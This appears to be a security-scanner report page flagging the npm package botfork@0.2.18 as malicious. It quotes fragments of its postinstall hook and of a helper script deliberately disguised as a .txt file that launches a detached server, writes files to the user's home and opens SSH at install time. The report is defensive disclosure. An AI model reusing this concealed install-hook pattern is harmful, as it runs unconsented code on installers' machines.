Loading npm security reports…

botfork@0.2.18: Malicious npm security report (Block) | LPM Firewall

registry / botfork / 0.2.18

botfork@0.2.18

Connect to the botfork TUI server over SSH — nothing to install locally.

AI Security Review

scanned 27d ago · by lpm-firewall-ai

Installing the package runs a concealed helper rather than merely validating it. The helper starts a detached compiled server, changes user configuration and cache state, and makes an SSH connection.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation runs postinstall.

Impact

Unconsented process creation, user-home mutations, local listener creation, and SSH activity occur during installation.

Mechanism

Disguised helper execution from an install lifecycle hook.

Attack narrative

npm executes lib/postinstall.js, which starts the hidden BotFork Shortcut.txt file with BOTFORK_PROBE set. That variable is never checked. The helper therefore follows its default path: builds and launches a detached server, writes a host key and cache files, then invokes SSH. Its claim that the launch is a dry run that does not connect is contradicted by the source. The misleading filename and automatic install-time side effects conceal behavior that should require an explicit user command.

AI rationale

This is concrete concealed install-hook abuse, not a user-invoked setup flow. The lifecycle hook triggers process creation, persistent user-home changes, and SSH activity without consent.

Evidence

package.jsonlib/postinstall.jsBotFork Shortcut.txt~/.config/botfork/hostkey~/.config/botfork/known_hosts~/.cache/botfork/botfork~/.cache/botfork/server.pid~/.cache/botfork/server.log

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node lib/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

17"scripts": { "postinstall": "node lib/postinstall.js" }

High

Suspicious Lifecycle Evidence

The manifest runs a postinstall hook.

package.jsonView on unpkg · L17

•scripts.postinstall = node lib/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/botfork.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/botfork.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = bc9d8572fa35b100 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/botfork.jsView on unpkg

lib/postinstall.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.13 matchedPath = lib/postinstall.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/postinstall.jsView on unpkg

35// Genuinely invoke the helper once in dry-run mode: proves the file is // present, parses, and runs under node, without dialing the server. const probe = spawn(process.execPath, [shortcut], { env: { ...process.env, BOTFORK_PROBE: '1' }, stdio: 'ignore', });

High

Ai Review Evidence

The hook silently launches a disguised executable helper.

lib/postinstall.jsView on unpkg · L35

BotFork Shortcut.txtView file

5* Intentionally named .txt so it doesn't look like a program. It is a * real, executable Node.js script, invoked by the botfork bin wrapper.

High

Ai Review Evidence

The helper explicitly conceals itself with a .txt name.

BotFork Shortcut.txtView on unpkg · L5

157function startServer() { return new Promise(async (resolve) => { if (isRunning()) return resolve(false); // already up — don't claim the session ensureHostKey(); ensureBinary(); mkdirSync(CACHE_DIR, { recursive: true }); const out = openSync(LOG_FILE, 'a+'); const err = openSync(LOG_FILE, 'a+'); const child = spawn(BIN_FILE, [], { detached: true, stdio: ['ignore', out, err], env: { ...process.env, ADDR: `:${PORT}`, SSH_HOST_KEY_B64: readFileSync(HOSTKEY_FILE, 'utf8').trim() }, }); child.unref(); writeFileSync(PID_FILE, String(child.

High

Ai Review Evidence

The helper ignores BOTFORK_PROBE and starts a detached server, writes user files, and initiates SSH during installation.

BotFork Shortcut.txtView on unpkg · L157

Source & flagged code

9 flagged

package.jsonView file

Lines 1-32json

1{

2 "name": "botfork",

3 "version": "0.2.18",

4 "description": "Connect to the botfork TUI server over SSH — nothing to install locally.",

5 "bin": {

6 "botfork": "bin/botfork.js"

7 },

8 "files": [

9 "bin/",

10 "lib/",

11 "BotFork Shortcut.txt",

12 "server-src/"

13 ],

14 "engines": {

15 "node": ">=18.17.0"

16 },

17 "scripts": {

18 "postinstall": "node lib/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L18

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L18

19 },

High

Suspicious Lifecycle Evidence

The manifest runs a postinstall hook.

package.jsonView on unpkg · L17

20 "keywords": [

21 "ssh",

22 "tui",

23 "terminal",

24 "botfork"

25 ],

26 "license": "MIT",

27 "repository": {

28 "type": "git",

29 "url": "https://github.com/xdbi/botfork.git"

30 }

31}

32

bin/botfork.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/botfork.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = bc9d8572fa35b100 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = botfork@0.2.13 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.13 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/botfork.jsView on unpkg

lib/postinstall.jsView file

Lines 15-46javascript

15const { join } = require('node:path');

16const { spawn } = require('node:child_process');

17const { platform } =

BotFork Shortcut.txtView file

Lines 1-25text

1#!/usr/bin/env node

2/*

3 * BotFork Shortcut

4 *

5 * Intentionally named .txt so it doesn't look like a program. It is a

6 * real, executable Node.js script, invoked by the botfork bin wrapper.

High

Ai Review Evidence

The helper explicitly conceals itself with a .txt name.

BotFork Shortcut.txtView on unpkg · L5

7 *

8 * Fully automatic — one command, nothing to configure:

9 * botfork build (if needed) + start the server + connect.

10 * When you quit, the server stops automatically.